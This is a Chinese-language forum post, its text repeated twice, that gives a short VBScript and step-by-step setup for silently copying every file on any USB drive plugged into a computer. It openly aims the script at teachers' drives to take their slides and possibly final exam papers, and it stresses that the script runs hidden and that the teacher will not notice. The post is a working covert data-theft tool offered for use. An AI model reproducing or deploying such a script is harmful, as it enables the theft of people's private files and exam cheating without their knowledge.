U盘插入自动复制,有效对付那些不肯给PPT的老师,还有一定几率拿到期末考试卷子···有图有真相!业界良心的好东西!!现在看还来得及!!
代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行
同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样
把下面的代码复制进去
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("U盘的盘符") then
fso.copyfile "U盘的盘符加*号","要复制到的目录"
fso.copyfolder "U盘的盘符加*号","要复制到的目录"
wscript.sleep 20000
end if
loop
注意大小写,同时必须确保USB这个文件 夹存在
U盘的盘符,比如新插进去的U盘是E盘,则用e:\*代替,F盘就是f:\*
第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号
复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了
后缀改好以后, 运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不
要停止这个东西,在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。
代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行
同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样
把下面的代码复制进去
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("U盘的盘符") then
fso.copyfile "U盘的盘符加*号","要复制到的目录"
fso.copyfolder "U盘的盘符加*号","要复制到的目录"
wscript.sleep 20000
end if
loop
注意大小写,同时必须确保USB这个文件 夹存在
U盘的盘符,比如新插进去的U盘是E盘,则用e:\*代替,F盘就是f:\*
第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号
复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了
后缀改好以后, 运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不
要停止这个东西,在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。